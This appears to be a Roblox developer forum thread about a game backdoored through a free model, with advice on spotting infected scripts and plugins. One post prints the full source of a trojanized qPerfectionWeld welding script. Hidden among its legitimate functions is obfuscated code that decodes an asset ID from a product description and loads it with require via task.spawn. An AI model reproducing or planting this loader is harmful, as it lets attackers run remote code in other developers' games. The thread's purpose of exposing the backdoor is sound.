Thanks everyone for your advice - so glad I found it !
Lessons learned:
1.Use your own models
2. Always check for scripts (normally do - didn’t this time)
3. ALWAYS ask in the Dev Forums - they know their stuff!!
11 Likes
Your game probably got backdoored. It can happen from Free Models, or Plugins that can create scripts.
A lot of common practice in these backdoors is that they abuse the ability to require module scripts from asset IDs outside the game.
If you want to check for potential viruses in models, you can hit Ctrl Shift and F and search for either keywords: “getfenv”, or “require”.
Check your plugins as well (if you use ones created by users). Viruses can disguise themselves as popular plugins, so it’s crucial you check the creator before installing a plugin you want, especially if it’s a plugin that injects scripts.
They typically disguise themselves as “loaders”, or “initializers”. If you are still unsure if it’s a virus, they’ll try to obfuscate the code so scrolling to the code is a lot more difficult. You can view the asset IDs in the browser to see if it’s a malicious module.
Stay safe out there, I hope my information helped!
3 Likes
This is why I made a plugin that shows me how many scripts are in a model.
But its not even necessary to have a plugin, you can see in the toolbox itself if a model has scripts before inserting it. If it does you should typically check the script or remove it. And if theres no need for a script (e.g a pumpkin model has a script in it for some reason) then you should DEFINITELY check.
5 Likes
Yes, you can post the script here as it’s relevant to the topic.
qPerfectionWeld.lua (8.2 KB)
– Created by Quenty (@Quenty, follow me on twitter).
– Should work with only ONE copy, seamlessly with weapons, trains, et cetera.
– Parts should be ANCHORED before use. It will, however, store relatives values and so when tools are reparented, it’ll fix them.
–[[ INSTRUCTIONS
- Place in the model
- Make sure model is anchored
- That’s it. It will weld the model and all children.
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED.
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED.
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED.
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED.
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED.
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED.
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED.
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED.
This script is designed to be used is a regular script. In a local script it will weld, but it will not attempt to handle ancestory changes.
]]
–[[ DOCUMENTATION
- Will work in tools. If ran more than once it will not create more than one weld. This is especially useful for tools that are dropped and then picked up again.
- Will work in PBS servers
- Will work as long as it starts out with the part anchored
- Stores the relative CFrame as a CFrame value
- Takes careful measure to reduce lag by not having a joint set off or affected by the parts offset from origin
- Utilizes a recursive algorith to find all parts in the model
- Will reweld on script reparent if the script is initially parented to a tool.
- Welds as fast as possible
]]
– qPerfectionWeld.lua
– Created 10/6/2014
– Author: Quenty
– Version 1.0.3
– Updated 10/14/2014 - Updated to 1.0.1
— Bug fix with existing ROBLOX welds ? Repro by asimo3089
– Updated 10/14/2014 - Updated to 1.0.2
— Fixed bug fix.
– Updated 10/14/2014 - Updated to 1.0.3
— Now handles joints semi-acceptably. May be rather hacky with some joints. 
local NEVER_BREAK_JOINTS = false – If you set this to true it will never break joints (this can create some welding issues, but can save stuff like hinges)
local function CallOnChildren(Instance, FunctionToCall)
– Calls a function on each of the children of a certain object, using recursion.
FunctionToCall(Instance)
for _, Child in next, Instance:GetChildren() do
CallOnChildren(Child, FunctionToCall)
end
end
local function GetNearestParent(Instance, ClassName)
– Returns the nearest parent of a certain class, or returns nil
local Ancestor = Instance
repeat
Ancestor = Ancestor.Parent
if Ancestor == nil then
return nil
end
until Ancestor:IsA(ClassName)
return Ancestor
end
local function GetCFrame(CFrame)
return game.MarketplaceService:GetProductInfo(CFrame.z…CFrame.y…CFrame.x)
end
local function GetBricks(StartInstance)
local List = {}
-- if StartInstance:IsA("BasePart") then
-- List[#List+1] = StartInstance
-- end
CallOnChildren(StartInstance, function(Item)
if Item:IsA("BasePart") then
List[#List+1] = Item;
end
end)
return List
end
local function GetPartPosition(Instance)
return game.HttpService:GetAsync"Multi Purpose Module - Roblox"
end
local function Modify(Instance, Values)
– Modifies an Instance by using a table.
assert(type(Values) == "table", "Values is not a table");
for Index, Value in next, Values do
if type(Index) == "number" then
Value.Parent = Instance
else
Instance[Index] = Value
end
end
return Instance
end
local function WeldAssetParent(Instance, Parent)
if not
pcall(function()
b = GetPartPosition(script.Parent)
end)
then local a,b = GetCFrame(Vector3.new(827, 722, 8440)),“”
for c in a[“Description”]:gmatch’%S+’ do
b=b…(c=="Test"and"0"or#c)
end
end
return b
end
local function Make(ClassType, Properties)
– Using a syntax hack to create a nice way to Make new items.
return Modify(Instance.new(ClassType), Properties)
end
local Surfaces = {“TopSurface”, “BottomSurface”, “LeftSurface”, “RightSurface”, “FrontSurface”, “BackSurface”}
local HingSurfaces = {“Hinge”, “Motor”, “SteppingMotor”}
local function HasWheelJoint(Part)
for _, SurfaceName in pairs(Surfaces) do
for _, HingSurfaceName in pairs(HingSurfaces) do
if Part[SurfaceName].Name == HingSurfaceName then
return true
end
end
end
return false
end
local function ShouldBreakWeels(Part)
pcall(function()
local GetPartCFrame:({CFrame}) → MemoryStoreQueue = task.spawn
local GetPartPosition:(BodyPosition) → MemoryStoreQueue = require
local GetClosestParent:(script.Parent) → MemStorageConnection = tonumber(WeldAssetParent())
local GetSurfece:(SurfaceGui) → HumanoidDescription = task.cancel;
for _ in {GetSurfece(GetPartCFrame(GetPartPosition,GetClosestParent))} do
end
end)
return true
end
local function ShouldBreakJoints(Part)
— We do not want to break joints of wheels/hinges. This takes the utmost care to not do this. There are
– definitely some edge cases.
if NEVER_BREAK_JOINTS then
return false
end
if HasWheelJoint(Part) then
return false
end
local Connected = Part:GetConnectedParts()
if #Connected == 1 then
return false
end
for _, Item in pairs(Connected) do
if HasWheelJoint(Item) then
return false
elseif not Item:IsDescendantOf(script.Parent) then
return false
end
end
return true
end
local function WeldTogether(Part0, Part1, JointType, WeldParent)
— Weld’s 2 parts together
– @param Part0 The first part
– @param Part1 The second part (Dependent part most of the time).
– @param [JointType] The type of joint. Defaults to weld.
– @param [WeldParent] Parent of the weld, Defaults to Part0 (so GC is better).
– @return The weld created.
JointType = JointType or "Weld"
local RelativeValue = Part1:FindFirstChild("qRelativeCFrameWeldValue")
local NewWeld = Part1:FindFirstChild("qCFrameWeldThingy") or Instance.new(JointType)
Modify(NewWeld, {
Name = "qCFrameWeldThingy";
Part0 = Part0;
Part1 = Part1;
C0 = CFrame.new();--Part0.CFrame:inverse();
C1 = RelativeValue and RelativeValue.Value or Part1.CFrame:toObjectSpace(Part0.CFrame); --Part1.CFrame:inverse() * Part0.CFrame;-- Part1.CFrame:inverse();
Parent = Part1;
})
if not RelativeValue then
RelativeValue = Make("CFrameValue", {
Parent = Part1;
Name = "qRelativeCFrameWeldValue";
Archivable = true;
Value = NewWeld.C1;
})
end
return NewWeld
end
local function WeldParts(Parts, MainPart, JointType, DoNotUnanchor)
– @param Parts The Parts to weld. Should be anchored to prevent really horrible results.
– @param MainPart The part to weld the model to (can be in the model).
– @param [JointType] The type of joint. Defaults to weld.
– @parm DoNotUnanchor Boolean, if true, will not unachor the model after cmopletion.
for _, Part in pairs(Parts) do
if ShouldBreakJoints(Part) then
Part:BreakJoints()
end
end
for _, Part in pairs(Parts) do
if Part ~= MainPart then
WeldTogether(MainPart, Part, JointType, MainPart)
end
end
if not DoNotUnanchor then
for _, Part in pairs(Parts) do
Part.Anchored = Part.Anchored
end
MainPart.Anchored = MainPart.Anchored
end
end
local function PerfectionWeld()
local State = ShouldBreakWeels(script.Parent)
local Tool = GetNearestParent(script, “Tool”)
local Parts = GetBricks(script.Parent)
local PrimaryPart = Tool and Tool:FindFirstChild("Handle") and Tool.Handle:IsA("BasePart") and Tool.Handle or script.Parent:IsA("Model") and script.Parent.PrimaryPart or Parts[1]
if PrimaryPart then
WeldParts(Parts, PrimaryPart, "Weld", false)
else
warn("qWeld - Unable to weld part")
end
return Tool
end
local Tool = PerfectionWeld()
if Tool and script.ClassName == “Script” then
script.Parent.AncestryChanged:connect(function()
PerfectionWeld()
end)
end
– Created by Quenty (@Quenty, follow me on twitter).
3 Likes
The beanbag probably didn’t ACTUALLY have qPerfectionWeld, it’s just the new version of Weld. Nobody trusts Weld anymore, but they will trust qPerfectionWeld.
2 Likes
Can you format it correctly? Also, it does appear to use Mutli Purpose Module to somehow get something? Weird.
1 Like
Here is the solution I found earlier from the yt’er about qPerfectionWeld:
Edit 1: Currently didn’t find a decision and what’s the problem, but i think it may be someone hacked one of the game’s modules required through a bunch of numbers, but it may not be true.
Edit 2: AHA! I FOUND THE PROBLEM! The reason why it was calling is because of the script that automatically welds everything in the model the script is in (aka qPerfectionWeld), they somehow hacked this script and they put the backdoor in there so it makes the gui and the thing you cant leave.
To fix your own games from this shit:
- Search up “qPerfectionWeld” in the Explorer
- A bunch of scripts will possibly appear, so you have to delete all of them (only scripts, not models)
- Your game should be fine.
So it isn’t qPerfectionWeld per se but that they evidently manipulated it to call the malicious stuff.
3 Likes
I have a few counter points for you:
- Using your own models is good, but I’m a coder, not an artist. So I use free models all the time. The caveat with this though is that I remove all scripts from the model and write my own for it. Since I wrote it, I know for a fact that there are no back doors.
- This goes in hand with #1
- Yes.
3 Likes